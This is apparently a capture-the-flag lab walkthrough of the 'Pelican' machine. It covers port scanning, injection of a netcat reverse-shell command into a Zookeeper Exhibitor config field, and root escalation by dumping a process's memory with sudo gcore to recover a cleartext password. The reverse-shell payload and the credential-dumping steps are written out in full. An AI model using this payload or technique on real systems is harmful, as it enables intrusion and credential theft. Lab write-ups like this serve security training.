Pelican

Initial Reconnaissance

I started with some quick reconnaissance by running rustscan against the target machine at 192.168.150.98 to find open ports and get a feel for what services might be running:

rustscan -a 192.168.150.98

This scan returned the following results:

With quite a few open ports showing up, I moved on to a more comprehensive scan using nmap. This scan included version detection, script scanning, and OS detection across all TCP ports:

sudo nmap -A -sC -sV -T4 192.168.150.98 -p- --open -v -oN tcp_scan.nmap

The results revealed more detail about the services in play:

• SSH (22): OpenSSH 7.9p1 on Debian 10.
• Samba (139/445): Version 4.9.5, indicating potential SMB-based vectors.
• CUPS (631): Common Unix Printing System v2.2, with PUT requests allowed—might be interesting later.
• Zookeeper (2181): Version 3.4.6, known to have some RCE vulnerabilities.
• Jetty on 8080 and nginx on 8081, both serving web content.

Also worth noting—port 8081 redirected to:

http://192.168.150.98:8080/exhibitor/v1/ui/index.html

This hinted at the presence of Exhibitor, a web-based UI for managing Zookeeper.

SMB Enumeration

Using smbclient, I checked for shared directories without authentication:

smbclient -L 192.168.150.98 -N

Output:

There weren’t any juicy shares available, but this confirmed Samba was set up and accessible.

Gaining Initial Access via Zookeeper/Exhibitor

After a bit of research on the Zookeeper service, I came across this exploit on Exploit-DB, which targets a misconfigured Exhibitor UI running on top of Zookeeper.

Visiting http://192.168.150.98:8080/exhibitor/v1/ui/index.html confirmed the Exhibitor interface was active:

Following the exploit steps, I went to the Config tab, enabled editing, and injected a reverse shell command into the java.env script field:

$(/bin/nc -e /bin/sh 192.168.45.155 443 &)   

On my Kali machine, I prepared a listener:

rlwrap nc -lnvp 443

After committing the changes in the Exhibitor UI, the command took a few moments to fire, but eventually I received a shell back:

┌──(kali㉿kali)-[~/Tools]
└─$ rlwrap nc -lnvp 443
listening on [any] 443 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.150.98] 51028
whoami
charles

To improve shell stability, I spawned a proper TTY:

python -c 'import pty; pty.spawn("/bin/bash")'

User Flag

Once inside, I navigated to the user directory:

cd /home/charles
ls
cat local.txt

Privilege Escalation

Next step was to check for sudo permissions:

sudo -l

The result was interesting—charles could run /usr/bin/gcore as root without needing a password:

charles@pelican:~$ sudo -l
sudo -l
Matching Defaults entries for charles on pelican:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

Using gcore to Leak Secrets

gcore is a debugging utility that dumps the memory of a running process. According to GTFOBins, it can be used to extract sensitive data if you know what to target.

I ran ps aux | grep password to look for processes that might handle credentials. One stood out:

ps -aux | grep "password"
root       513  0.0  0.0   2276    72 ?        Ss   22:54   0:00 /usr/bin/password-store
charles   5344  0.0  0.0   6208   824 pts/0    S+   23:09   0:00 grep password

This was running as root under PID 513. Using gcore, I dumped its memory:

sudo /usr/bin/gcore 513

charles@pelican:~$ sudo /usr/bin/gcore 513
sudo /usr/bin/gcore 513
0x00007f971bd1c6f4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffc3d7a2c80, remaining=remaining@entry=0x7ffc3d7a2c80) at ../sysdeps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
Saved corefile core.513
[Inferior 1 (process 513) detached]

That produced a core dump file: core.513. I searched it using strings:

strings core.513

Eventually, I found a cleartext password:

ClogKingpinInning731

Root Access

Using this password, I switched to the root user:

su root

charles@pelican:~$ su root
su root
Password: ClogKingpinInning731

root@pelican:/home/charles# 

Once authenticated, I navigated to the root home directory:

cd /root
cat proof.txt

The root flag proof.txt can be found in /root directory:

Summary

• Discovered misconfigured Exhibitor panel through Zookeeper’s HTTP interface.
• Used command injection to gain shell access as user charles.
• Escalated to root by abusing gcore to dump a process containing a plaintext password.

References

• https://gbozyelg.medium.com/proving-grounds-practice-pelican-7021741caa2e